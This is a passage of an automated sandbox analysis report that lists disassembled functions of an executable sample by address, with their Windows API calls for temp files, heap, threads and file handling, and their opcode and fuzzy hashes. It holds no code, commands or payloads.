Part of subcall function 00000001400126D0: TlsGetValue.KERNEL32 ref: 00000001400126E2
Part of subcall function 00000001400126D0: HeapReAlloc.KERNEL32 ref: 0000000140012762

GetTempPathW.KERNEL32 ref: 000000014000D9F3
LoadLibraryW.KERNEL32 ref: 000000014000DA02
GetProcAddress.KERNEL32 ref: 000000014000DA1D
GetLongPathNameW.KERNELBASE(?,?,?,0000000140001F92), ref: 000000014000DA31
FreeLibrary.KERNEL32 ref: 000000014000DA38

Strings

Kernel32.DLL, xrefs: 000000014000D9F9
GetLongPathNameW, xrefs: 000000014000DA13

Memory Dump Source

Source File: 00000011.00000002.1814921554.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.1814887305.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814960069.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814996664.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1815030266.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_WO.jbxd

Similarity

API ID: LibraryPath$AddressAllocFreeHeapLoadLongNameProcTempValue
String ID: GetLongPathNameW$Kernel32.DLL
API String ID: 820969696-2943376620
Opcode ID: 7b5facb765f8cdd7be91ebb16a2403b7b75564631065215e584da20e470a0f22
Instruction ID: 08c74a34c6d82e646fe97c561cc400b119dc1938ee8d5d8dcc972cb306c03a44
Opcode Fuzzy Hash: 7b5facb765f8cdd7be91ebb16a2403b7b75564631065215e584da20e470a0f22
Instruction Fuzzy Hash: 17116D31721B4086EF159F27A9843A967A1FB8CFC0F481029EF4E4B7A5DE39C8528340

Function 0000000140001E57 Relevance: 9.3, APIs: 6, Instructions: 259
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempFileNameW.KERNEL32 ref: 0000000140001FBF

Part of subcall function 00000001400121C0: GetLastError.KERNEL32 ref: 00000001400121C4
Part of subcall function 00000001400121C0: TlsGetValue.KERNEL32 ref: 00000001400121D4
Part of subcall function 00000001400121C0: SetLastError.KERNEL32 ref: 00000001400121F1

Part of subcall function 000000014000CA00: memmove.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,0000000140002CF1), ref: 000000014000CA47

Part of subcall function 0000000140012210: TlsGetValue.KERNEL32 ref: 0000000140012223
Part of subcall function 0000000140012210: HeapAlloc.KERNEL32 ref: 0000000140012266

Part of subcall function 000000014000DA6C: SetFileAttributesW.KERNEL32 ref: 000000014000DA8C
Part of subcall function 000000014000DA6C: DeleteFileW.KERNEL32 ref: 000000014000DA95

Part of subcall function 000000014000D914: wcsncpy.MSVCRT ref: 000000014000D932
Part of subcall function 000000014000D914: wcslen.MSVCRT ref: 000000014000D944
Part of subcall function 000000014000D914: CreateDirectoryW.KERNEL32 ref: 000000014000D994

GetTempFileNameW.KERNEL32 ref: 0000000140002040

Part of subcall function 0000000140012210: HeapReAlloc.KERNEL32 ref: 0000000140012293

GetTempFileNameW.KERNEL32 ref: 00000001400020C1
PathAddBackslashW.SHLWAPI ref: 00000001400020CD
PathRenameExtensionW.SHLWAPI ref: 000000014000212E
GetTempFileNameW.KERNEL32 ref: 0000000140002153

Part of subcall function 0000000140012360: HeapFree.KERNEL32 ref: 000000014001237F

Memory Dump Source

Source File: 00000011.00000002.1814921554.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.1814887305.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814960069.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814996664.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1815030266.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_WO.jbxd

Similarity

API ID: File$NameTemp$Heap$AllocErrorLastPathValue$AttributesBackslashCreateDeleteDirectoryExtensionFreeRenamememmovewcslenwcsncpy
String ID:
API String ID: 4232179356-0
Opcode ID: f37d14f45d1a2abd6f91fd25c4a0b9dbf2c58692b7ebd1d65ebe457cd595aad6
Instruction ID: 2ef6d83f5e2b3c8fb19d65fceeff62dc40447b47a2c1a218917e14d6a90cbc88
Opcode Fuzzy Hash: f37d14f45d1a2abd6f91fd25c4a0b9dbf2c58692b7ebd1d65ebe457cd595aad6
Instruction Fuzzy Hash: E38162FBE69644E5EA07B763BC86BED5220D3AD3D4F504410FF08062A3EE3995E64B10

Function 000000014000DE50 Relevance: 9.2, APIs: 6, Instructions: 151
filememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000001400112A8: EnterCriticalSection.KERNEL32 ref: 00000001400112C4
Part of subcall function 00000001400112A8: LeaveCriticalSection.KERNEL32 ref: 0000000140011355

CreateFileW.KERNEL32 ref: 000000014000DEED
CreateFileW.KERNEL32 ref: 000000014000DF37
CreateFileW.KERNEL32 ref: 000000014000DF7E
CreateFileW.KERNEL32 ref: 000000014000DFAC
HeapAlloc.KERNEL32 ref: 000000014000DFED
SetFilePointer.KERNEL32 ref: 000000014000E047

Memory Dump Source

Source File: 00000011.00000002.1814921554.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.1814887305.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814960069.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814996664.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1815030266.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_WO.jbxd

Similarity

API ID: File$Create$CriticalSection$AllocEnterHeapLeavePointer
String ID:
API String ID: 2685021396-0
Opcode ID: bf349e5ae30ca8a1459a9c900c950eddfabbaec973a548aea2fdccc3e75a92be
Instruction ID: 9fd7d13fb8664e67d48ce56ae15862c74b29b4b7423edb5d501112f331116329
Opcode Fuzzy Hash: bf349e5ae30ca8a1459a9c900c950eddfabbaec973a548aea2fdccc3e75a92be
Instruction Fuzzy Hash: 2B51D4B261469086E761CF17F9007AA7690B39CBE4F04873AFF6A47BE4DB79C4419B10

Function 000000014000593C Relevance: 7.0, APIs: 4, Instructions: 980
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000140012450: wcslen.MSVCRT ref: 000000014001246E

Part of subcall function 0000000140012210: TlsGetValue.KERNEL32 ref: 0000000140012223
Part of subcall function 0000000140012210: HeapAlloc.KERNEL32 ref: 0000000140012266

Part of subcall function 0000000140012210: HeapReAlloc.KERNEL32 ref: 0000000140012293

GetModuleHandleW.KERNEL32 ref: 00000001400061AE

Part of subcall function 00000001400121C0: GetLastError.KERNEL32 ref: 00000001400121C4
Part of subcall function 00000001400121C0: TlsGetValue.KERNEL32 ref: 00000001400121D4
Part of subcall function 00000001400121C0: SetLastError.KERNEL32 ref: 00000001400121F1

Part of subcall function 00000001400125D0: TlsGetValue.KERNEL32 ref: 00000001400125DA

Part of subcall function 0000000140007DC0: CharUpperW.USER32 ref: 0000000140007E24

Part of subcall function 0000000140001E57: GetTempFileNameW.KERNEL32 ref: 0000000140001FBF

PathRemoveBackslashW.SHLWAPI ref: 00000001400063A7

Part of subcall function 0000000140012520: TlsGetValue.KERNEL32 ref: 000000014001252A

Part of subcall function 000000014000C45C: SetEnvironmentVariableW.KERNEL32 ref: 000000014000C476

PathQuoteSpacesW.SHLWAPI ref: 00000001400064FF
PathQuoteSpacesW.SHLWAPI ref: 000000014000656B

Part of subcall function 0000000140007284: CreateThread.KERNEL32 ref: 00000001400072B3
Part of subcall function 0000000140007284: EnterCriticalSection.KERNEL32 ref: 00000001400072CC
Part of subcall function 0000000140007284: LeaveCriticalSection.KERNEL32 ref: 0000000140007344

Part of subcall function 0000000140012360: HeapFree.KERNEL32 ref: 000000014001237F

Memory Dump Source

Source File: 00000011.00000002.1814921554.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.1814887305.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814960069.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814996664.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1815030266.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_WO.jbxd

Similarity

API ID: Value$HeapPath$AllocCriticalErrorLastQuoteSectionSpaces$BackslashCharCreateEnterEnvironmentFileFreeHandleLeaveModuleNameRemoveTempThreadUpperVariablewcslen
String ID:
API String ID: 2499486723-0
Opcode ID: 01fd8b8b98fab0c980f96e61b2251792a09e9ddd7d05bec7d734751dcc1b6e06
Instruction ID: 5e2f233be3bb1e1a489454234068146e28d45b36aeb09ace1181e30b51997f55
Opcode Fuzzy Hash: 01fd8b8b98fab0c980f96e61b2251792a09e9ddd7d05bec7d734751dcc1b6e06
Instruction Fuzzy Hash: 6C722BB6E25548D6EA16B7B7B8877E95220A3AD394F500411FF4C0B363EE39C5F64B10

Function 000000014000E620 Relevance: 6.1, APIs: 4, Instructions: 119
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointer.KERNEL32 ref: 000000014000E664
memmove.MSVCRT(?,?,?,?,?,000000014000E5DD), ref: 000000014000E69F

Memory Dump Source

Source File: 00000011.00000002.1814921554.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.1814887305.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814960069.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814996664.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1815030266.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_WO.jbxd

Similarity

API ID: FilePointermemmove
String ID:
API String ID: 2366752189-0
Opcode ID: b4f1478b6fdc608b573b2d6bb241fddc82556d2816959310d2dbf51914ce2f41
Instruction ID: b9f44d82ba4cb6c24f152d63ce96d8852f082d92484b54d7365d071901ec84b9
Opcode Fuzzy Hash: b4f1478b6fdc608b573b2d6bb241fddc82556d2816959310d2dbf51914ce2f41
Instruction Fuzzy Hash: 7541837770468086DB01CF7AF1402ADF7A4EB98BD9F084426EF4C43BA5DA39C591CB50

Function 000000014000E3F0 Relevance: 4.6, APIs: 3, Instructions: 67
filememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNEL32 ref: 000000014000E472
WriteFile.KERNEL32 ref: 000000014000E4D6
HeapFree.KERNEL32 ref: 000000014000E4E8

Memory Dump Source

Source File: 00000011.00000002.1814921554.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.1814887305.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814960069.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814996664.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1815030266.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_WO.jbxd

Similarity

API ID: FileWrite$FreeHeap
String ID:
API String ID: 74418370-0
Opcode ID: 3e7180477ba1f40fccd38ab851f43380a29ccb8c1311c53bf450c0723d734870
Instruction ID: 9d08b72cfe526555b527e3d6fc60fa1eae748afb3cf0625e1a419d858907832f
Opcode Fuzzy Hash: 3e7180477ba1f40fccd38ab851f43380a29ccb8c1311c53bf450c0723d734870
Instruction Fuzzy Hash: 43317EB2205A8082EB22DF16E0453A9B7B0F789BD4F548515EB59577F4DF3EC488CB00

Function 000000014000E770 Relevance: 4.6, APIs: 3, Instructions: 51
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WideCharToMultiByte.KERNEL32 ref: 000000014000E7A9
HeapAlloc.KERNEL32 ref: 000000014000E7CA
WideCharToMultiByte.KERNEL32 ref: 000000014000E7F8

Memory Dump Source

Source File: 00000011.00000002.1814921554.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.1814887305.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814960069.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814996664.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1815030266.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_WO.jbxd

Similarity

API ID: ByteCharMultiWide$AllocHeap
String ID:
API String ID: 3475569825-0
Opcode ID: 49eb562b8cb434ff95f7e7d63f5ecf434c56baadcc58e4f799a86c336de5446e
Instruction ID: ae5164d7e213c5423ce426761272d4060c1fe25f0e8d52ef4d31f29a04fa76ea
Opcode Fuzzy Hash: 49eb562b8cb434ff95f7e7d63f5ecf434c56baadcc58e4f799a86c336de5446e
Instruction Fuzzy Hash: D9112B72615B8082E754DF26B84435AB7A5FBC8BD0F148228EF9D63BA4DF38C5229704

Function 000000014000D914 Relevance: 4.5, APIs: 3, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcsncpy.MSVCRT ref: 000000014000D932
wcslen.MSVCRT ref: 000000014000D944
CreateDirectoryW.KERNEL32 ref: 000000014000D994

Memory Dump Source

Source File: 00000011.00000002.1814921554.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.1814887305.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814960069.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814996664.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1815030266.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_WO.jbxd

Similarity

API ID: CreateDirectorywcslenwcsncpy
String ID:
API String ID: 961886536-0
Opcode ID: fa21f94af638c1889f77ff21a456a4ec01e86cfe5917c6a19cc66424906e9b15
Instruction ID: 5f5e6732187473c7e9a992da28a106256b0abf82a063e4d7cd37b44a9c7c83f6
Opcode Fuzzy Hash: fa21f94af638c1889f77ff21a456a4ec01e86cfe5917c6a19cc66424906e9b15
Instruction Fuzzy Hash: 100188A621264191EF72DB65E0643E9B350F78C7C4F804523FB8D036A8EE3DC645CB14

Function 000000014000B538 Relevance: 4.5, APIs: 3, Instructions: 13
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 000000014000B547
InitCommonControlsEx.COMCTL32 ref: 000000014000B561
CoInitialize.OLE32 ref: 000000014000B569

Memory Dump Source

Source File: 00000011.00000002.1814921554.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.1814887305.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814960069.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814996664.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1815030266.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_WO.jbxd

Similarity

API ID: CommonControlsInitInitializememset
String ID:
API String ID: 2179856907-0
Opcode ID: 1d0403c036cf950124697b7ff717d38e0227670877df9763daf1147e72240267
Instruction ID: 449a974473b47bcf77cc2e9d1d873e7016711834fb404a36d393ff203d460c1f
Opcode Fuzzy Hash: 1d0403c036cf950124697b7ff717d38e0227670877df9763daf1147e72240267
Instruction Fuzzy Hash: E0E0E27263658092E785EB22E8857AEB260FB88748FC06105F38B469A5CF3DC659CF00

Function 0000000140012210 Relevance: 3.8, APIs: 3, Instructions: 51
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

TlsGetValue.KERNEL32 ref: 0000000140012223
HeapAlloc.KERNEL32 ref: 0000000140012266
HeapReAlloc.KERNEL32 ref: 0000000140012293

Memory Dump Source

Source File: 00000011.00000002.1814921554.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.1814887305.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814960069.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814996664.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1815030266.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_WO.jbxd

Similarity

API ID: AllocHeap$Value
String ID:
API String ID: 3898337583-0
Opcode ID: 8fb7bdff1a5ea7f5a6416ebb7e65581105b868b3e6afb08efbefc70494558fec
Instruction ID: 13d1d2221b5dfffbe944c94766c5cf34ad854dcf92a9a233d77868c63a58341b
Opcode Fuzzy Hash: 8fb7bdff1a5ea7f5a6416ebb7e65581105b868b3e6afb08efbefc70494558fec
Instruction Fuzzy Hash: BA21A336609B40C6DA21CB5AE89136AB7A1F7CDBD4F108126EB8D87B38DF3DC5518B00

Function 00000001400029C8 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetExitCodeProcess.KERNEL32 ref: 0000000140002ADD

Strings

open, xrefs: 0000000140002A68, 0000000140002A75

Memory Dump Source

Source File: 00000011.00000002.1814921554.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.1814887305.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814960069.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814996664.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1815030266.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_WO.jbxd

Similarity

API ID: CodeExitProcess
String ID: open
API String ID: 3861947596-2758837156
Opcode ID: b7feb277e73c6429ec278226bbe6df587e3a7ad8db4220ec3f4f0566a99c26d5
Instruction ID: e85bff13557fc8eee7e7e221a0258bb1a2e766680f88975b06e903b36e14beee
Opcode Fuzzy Hash: b7feb277e73c6429ec278226bbe6df587e3a7ad8db4220ec3f4f0566a99c26d5
Instruction Fuzzy Hash: 44315E73A19A84D9DA619B6AF8417EE6364F388784F404415FF8D07B6ADF3CC2958B40

Function 0000000140001000 Relevance: 3.1, APIs: 2, Instructions: 112
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000140012060: HeapCreate.KERNEL32 ref: 000000014001206E
Part of subcall function 0000000140012060: TlsAlloc.KERNEL32 ref: 000000014001207B

Part of subcall function 000000014000C980: HeapCreate.KERNEL32 ref: 000000014000C98E

Part of subcall function 000000014000B538: memset.MSVCRT ref: 000000014000B547
Part of subcall function 000000014000B538: InitCommonControlsEx.COMCTL32 ref: 000000014000B561
Part of subcall function 000000014000B538: CoInitialize.OLE32 ref: 000000014000B569

Part of subcall function 00000001400120D0: HeapAlloc.KERNEL32 ref: 0000000140012123

Part of subcall function 000000014000CCD8: HeapAlloc.KERNEL32 ref: 000000014000CD11
Part of subcall function 000000014000CCD8: HeapAlloc.KERNEL32 ref: 000000014000CD42
Part of subcall function 000000014000CCD8: HeapAlloc.KERNEL32 ref: 000000014000CDB2

Part of subcall function 000000014000D524: HeapFree.KERNEL32 ref: 000000014000D56E
Part of subcall function 000000014000D524: HeapFree.KERNEL32 ref: 000000014000D58F
Part of subcall function 000000014000D524: HeapFree.KERNEL32 ref: 000000014000D5A1

Part of subcall function 000000014000D444: HeapAlloc.KERNEL32 ref: 000000014000D476
Part of subcall function 000000014000D444: HeapAlloc.KERNEL32 ref: 000000014000D491

Part of subcall function 0000000140011D30: HeapAlloc.KERNEL32 ref: 0000000140011D82
Part of subcall function 0000000140011D30: memset.MSVCRT ref: 0000000140011DB6

Part of subcall function 00000001400120D0: HeapReAlloc.KERNEL32 ref: 0000000140012151
Part of subcall function 00000001400120D0: HeapFree.KERNEL32 ref: 0000000140012194

Part of subcall function 000000014000C4D0: RemoveVectoredExceptionHandler.KERNEL32 ref: 000000014000C8A5
Part of subcall function 000000014000C4D0: AddVectoredExceptionHandler.KERNEL32 ref: 000000014000C8C0

Part of subcall function 00000001400121C0: GetLastError.KERNEL32 ref: 00000001400121C4
Part of subcall function 00000001400121C0: TlsGetValue.KERNEL32 ref: 00000001400121D4
Part of subcall function 00000001400121C0: SetLastError.KERNEL32 ref: 00000001400121F1

Part of subcall function 0000000140012210: TlsGetValue.KERNEL32 ref: 0000000140012223
Part of subcall function 0000000140012210: HeapAlloc.KERNEL32 ref: 0000000140012266

HeapDestroy.KERNEL32 ref: 000000014000124C
ExitProcess.KERNEL32 ref: 0000000140001258

Memory Dump Source

Source File: 00000011.00000002.1814921554.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.1814887305.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814960069.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814996664.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1815030266.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_WO.jbxd

Similarity

API ID: Heap$Alloc$Free$CreateErrorExceptionHandlerLastValueVectoredmemset$CommonControlsDestroyExitInitInitializeProcessRemove
String ID:
API String ID: 1207063833-0
Opcode ID: 06dbeff3fd86c6695b84df31992dbf02651ab7d441abcdbe23a8bedf592c97f1
Instruction ID: 5ef5c56730dbad915fac233b77092dd37bc53bc4ec3343fa221c1b372e2f6746
Opcode Fuzzy Hash: 06dbeff3fd86c6695b84df31992dbf02651ab7d441abcdbe23a8bedf592c97f1
Instruction Fuzzy Hash: 9D510AF0A11A4081FA03F7A3F8527E926559B9D7D0F808119BF1D1B3F3DD3A86598B22

Function 0000000140002930 Relevance: 3.0, APIs: 2, Instructions: 36
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000001400123E0: TlsGetValue.KERNEL32 ref: 00000001400123F8

RemoveDirectoryW.KERNEL32(00000000,?,0000000140003010), ref: 000000014000299C
RemoveDirectoryW.KERNEL32(?,0000000140003010), ref: 00000001400029A8

Part of subcall function 0000000140007170: WaitForSingleObject.KERNEL32 ref: 0000000140007187

Part of subcall function 000000014000720C: TerminateThread.KERNEL32 ref: 0000000140007223
Part of subcall function 000000014000720C: EnterCriticalSection.KERNEL32 ref: 0000000140007230

Memory Dump Source

Source File: 00000011.00000002.1814921554.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.1814887305.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814960069.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814996664.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1815030266.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_WO.jbxd

Similarity

API ID: DirectoryRemove$CriticalEnterObjectSectionSingleTerminateThreadValueWait
String ID:
API String ID: 547990026-0
Opcode ID: de809ab9685b3f463e7d0b476c7a816dcb7d80807795b0b8c6412b9b34da734e
Instruction ID: 7a41e47de86a43ff34abb2becfbad555fd020f9bfb046cc2ed969e3c0c855493
Opcode Fuzzy Hash: de809ab9685b3f463e7d0b476c7a816dcb7d80807795b0b8c6412b9b34da734e
Instruction Fuzzy Hash: 0F01FFF5509B01E5F923BB63BC02BDA6B61E74E3E0F409405BB89131B3DE3DD9849610

Function 000000014000C4D0 Relevance: 3.0, APIs: 2, Instructions: 20
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RemoveVectoredExceptionHandler.KERNEL32 ref: 000000014000C8A5
AddVectoredExceptionHandler.KERNEL32 ref: 000000014000C8C0

Memory Dump Source

Source File: 00000011.00000002.1814921554.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.1814887305.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814960069.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814996664.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1815030266.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_WO.jbxd

Similarity

API ID: ExceptionHandlerVectored$Remove
String ID:
API String ID: 3670940754-0
Opcode ID: 24e0dcc2aecd05812467741a67881873fe67c89a035702fa94287bcbf95b7463
Instruction ID: 54ed52b0d94e107c171475cce83a86a7777a808cb3853d4771323e3d57a36066
Opcode Fuzzy Hash: 24e0dcc2aecd05812467741a67881873fe67c89a035702fa94287bcbf95b7463
Instruction Fuzzy Hash: 8AF0ED7061370485FE5BDB93B8987F472A0AB4C7C0F184029BB49076719F3C88A48348

Function 000000014000DA6C Relevance: 3.0, APIs: 2, Instructions: 19
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFileAttributesW.KERNEL32 ref: 000000014000DA8C
DeleteFileW.KERNEL32 ref: 000000014000DA95

Memory Dump Source

Source File: 00000011.00000002.1814921554.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.1814887305.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814960069.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814996664.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1815030266.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_WO.jbxd

Similarity

API ID: File$AttributesDelete
String ID:
API String ID: 2910425767-0
Opcode ID: 55319c824811060fb78973d35cd1766170822acc88010ad74a6f5b99716599dc
Instruction ID: adf2a79140fabccb03c20fd21f07aa3af446659453137af282c5310bbe8ffc9f
Opcode Fuzzy Hash: 55319c824811060fb78973d35cd1766170822acc88010ad74a6f5b99716599dc
Instruction Fuzzy Hash: 48E05BB471910195FB6BD7A778153F521419F8D7D1F184121AB42071B0EF3D44C55222

Function 0000000140012060 Relevance: 3.0, APIs: 2, Instructions: 11memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNEL32 ref: 000000014001206E
TlsAlloc.KERNEL32 ref: 000000014001207B

Part of subcall function 0000000140012BF0: HeapAlloc.KERNEL32 ref: 0000000140012C03
Part of subcall function 0000000140012BF0: HeapAlloc.KERNEL32 ref: 0000000140012C1D
Part of subcall function 0000000140012BF0: TlsSetValue.KERNEL32 ref: 0000000140012C50

Memory Dump Source

Source File: 00000011.00000002.1814921554.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.1814887305.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814960069.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814996664.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1815030266.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_WO.jbxd

Similarity

API ID: AllocHeap$CreateValue
String ID:
API String ID: 493873155-0
Opcode ID: 9e0d5e764e4f7f0553988baf76ecb42ee58d508d85325be61ca51fd0dfb33207
Instruction ID: 66307e28580f649ba8418ae6b9c958ace7f1b69875393c61862d084d03b91818
Opcode Fuzzy Hash: 9e0d5e764e4f7f0553988baf76ecb42ee58d508d85325be61ca51fd0dfb33207
Instruction Fuzzy Hash: 9ED0C939A1175092EB46AB72AC5A3E922A0F75C3C1F901819B70907775DF7E81956A00

Function 00000001400120A0 Relevance: 3.0, APIs: 2, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

